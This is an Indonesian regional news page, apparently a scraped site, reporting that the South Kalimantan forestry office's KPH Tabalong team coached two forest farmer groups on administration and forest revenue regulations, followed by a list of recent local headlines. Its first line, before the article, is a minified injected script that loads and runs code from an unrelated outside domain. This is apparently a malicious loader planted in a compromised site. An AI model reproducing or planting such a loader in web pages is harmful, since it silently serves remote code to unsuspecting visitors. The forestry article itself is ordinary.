(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

KPH Tabalong Lakukan Pembinaan Dua KTH


BANJARBARU, Pemegang izin perhutanan sosial diharapkan dapat melakukan operasionalisasi terhadap izin-izin yang sudah diberikan melalui pengembangakan usaha produktif dengan membentuk KUPS-KUPS sesuai dengan potensi wilayah izinnya. Hal ini agar bisa memberikan kesejahteraan masyarakat sekitar hutan sesuai dengan salah satu indikator Dinas kehutanan Provinsi Kalimantan Selatan yaitu peningkatan kesejahteraan masyarakat.

Dalam rangka percepatan Perhutanan Sosial, Tim percepatan Perhutanan Sosial KPH Tabalong bergerak melaksanakan kegiatan pembinaan dan pengembangan ke KTH Watu Murung di Desa Kinarum Kecamatan Upau dan KTH Penepeh Lestari di Desa Kaong Kecamatan Upau.

Dalam pertemuan Tim dari KPH Tabalong memberikan materi pembinaan KTH dengan pembenahan administrasi KTH dan Pengelolaan Jasling, agar kegiatan dapat dimonitor secara administrasi dan pengelolaan keuangannya.

Anggota KTH Watu Marung mendukung Program Revjo dengan kegiatan KTH Menanam, dalam pertemuan juga disampaikan oleh TKPH mengenai program” pemerintah sekarang yg sdh drasakan oleh masyarakat, khususnya kegiatan pembangunan Kehutanan.

Selanjutnya dilakukan pertemuan dengan KTH Penepeh Lestari, pada KTH tersebut sudahhhh ada kegiatan Agroforestry seluas 30 Ha dan KTH menanam sebanyak 5000 Bibit Sengon. Dalam pertemuan dengan KTH Penepeh Lestari Tim mensosialisasikan Permenlhk No. P. 71 tahun 2016 tentang Tata Cara Pengenaan, Pemungutan dan Penyetoran PSDH, DR, Ganti Rugi Tegakan, Denda Pelanggaran Eksplotasi Hutan dan Iuaran Izin Usaha, Permen Kehutanan No : P. 68 tahun 2014 tentang Penetapan Harga Patokan Hasil Hutan Untuk Perhitungan PSDH, DR, Ganti Rugi Tegakan dan Penggantian Nilai Tegakan dan PP No. 12 thn 2014 tentang Jenis dan Tarif Atas Jenis Penerimaan Negara Bukan Pajak Yang Berlaku pada Kementetian Kehutanan.

Anggota KTH Penepeh Lestari tidak keberatan jika nantinya hasil hutan yang mereka kelola (tanaman sengon) akan kita kenakan tarif PNBP setelah mereka panen, mereka mendukung program pemerintah khususnya dalam pembangunan kehutanan di KPH Tabalong pada khususnya dan Kalsel pada umumnya.(dishut)

Reporter : Dishutprovkalsel
Editor : Chell

Desy Arfianty

Recent Posts

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

12 jam ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

12 jam ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

12 jam ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

13 jam ago

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

14 jam ago

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More

15 jam ago

This website uses cookies.